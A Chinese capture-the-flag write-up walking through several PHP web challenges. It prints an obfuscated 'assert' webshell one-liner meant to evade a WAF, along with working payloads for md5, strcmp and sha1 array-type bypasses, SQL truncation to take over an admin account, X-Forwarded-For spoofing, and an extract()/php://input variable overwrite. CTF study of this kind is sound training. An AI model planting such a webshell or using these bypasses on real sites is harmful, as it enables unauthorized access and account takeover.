首先题目给了一段话,
送给大家一个过狗一句话
$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s'])
?>
链接点开好像是挂了。。。暂时先放着吧
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?>
简单分析下代码
preg_match (要搜索的模式,字符串,参数) 在字符串里搜索符合 要搜索的模式 的字符,并返回给参数。
trim(字符串,字符) 移除字符串两侧的空白字符或其他预定义字符。
还有要复习一下正则,
/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i
. | 匹配除"\n"之外的任何字符 |
---|---|
* | 匹配它前面的表达式0次或多次,等价于{0,} |
{4,7} | 最少匹配 4 次且最多匹配 7 次,结合前面的 . 也就是匹配 4 到 7 个任意字符 |
/ | 匹配 / ,这里的 \ 是为了转义 |
[a-z] | 匹配小写字母 |
[:punct:] | 匹配任何标点符号 |
/i | 表示不区分大小写 |
就是要通过 id 传参,并且要符合上面的正则表达式,key就会显示,构造payload如下:
http://123.206.87.240:8002/web10/?id=keyakeyaaaakey:/a/keya:
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>
想起之前的PHP弱类型,我们需要构造三个参数,v1,v2,v3,其中v1和v2需要值不同但md5的值相同,看起来是找md5碰撞的问题,但是问题却不在这里,利用md5函数的特性,如果使用一个不可md5的数据类型传入的话那么md5函数将返回false,这个也是返回值,题目要求的是md5函数的返回值相等,所以就可以用两个值不同但不可md5的数据类型传入即可。此处我们使用v1[]=1&v2[]=2。
第二个是strcmp函数,需要v3和flag的值相同才返回flag的值,貌似是一个鸡生蛋问题,但是我们依旧使用函数特性,strcmp函数如果出错,那么它的返回值也会是0,和字符串相等时返回值一致。那么如何出错呢,猜测不可比较时出错,那么传入一个数组试试。
所以最后构造参数并用get方法传入,构造payload:?v1[]=1&v2[]=2&v3[]=3
hint:SQL约束攻击
SQL约束注入:
SQL服务器在进行查询字符串的时候会把字符串后面的空白(也就是空格之类的东西)删除,因为SQL会在内部使用空格来填充字符串,以便在比较之前使其它们的长度保持一致。
在任意INSERT查询中,SQL会根据varchar(n)来限制字符串的最大长度,也就是说,如果字符串的长度大于“n”个字符的话,那么仅使用字符串的前“n”个字符。
也就是说我注册的时候可以构造一个很长的字符串,但是在SQL进行insert查询的时候,会出来两个用户名,当我们用我们构造的用户来访问的时候,会返回原始用户的信息,也就是使用原始用户的身份登录。
用admin (我注册的admin后面有20个空格)
注册,密码随便弄一个,但要符合要求,之后登录即可。
链接打开只给了一句话
are you from google?
根据题目提示,想到md5碰撞,参照我这篇博客https://blog.csdn.net/ITmincherry/article/details/96966702
题目要求请从本地访问!用burp抓包,加上X-Forwarded-For:127.0.0.1
就好了。关于XFF头详见https://blog.csdn.net/ITmincherry/article/details/89140086
题目给了一段代码,
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])
print 'passwd can not be uname.';
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
die('Flag: '.$flag);
else
print 'sorry!';
}
?>
看到sha1()函数,百度了一下和md5()一样,也有漏洞,要用数组绕过。审计一下代码,要求uname和passwd是相通的,把这两个字段构造成数组来绕过。(数组数字任意,不同即可)因为后面有个&,所以要传id=margin&uname[]=1
,再postdata passwd[]=2
txt???
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "This is flag:"
." $flag";
}
else
{
echo "sorry!
";
}
}
?>
先访问一下flag.txt,得到flags
,结合一下代码来看,$ ac应该指的是flag.txt的内容flags,而$fn就是flag.txt了。构造payload:?ac=flags&fn=flag.txt
还有一种方法就是:因为ac不能为空,f的值从文件fn中获取,ac的值等于f,于是构造ac=1&fn=php://input
,然后post 1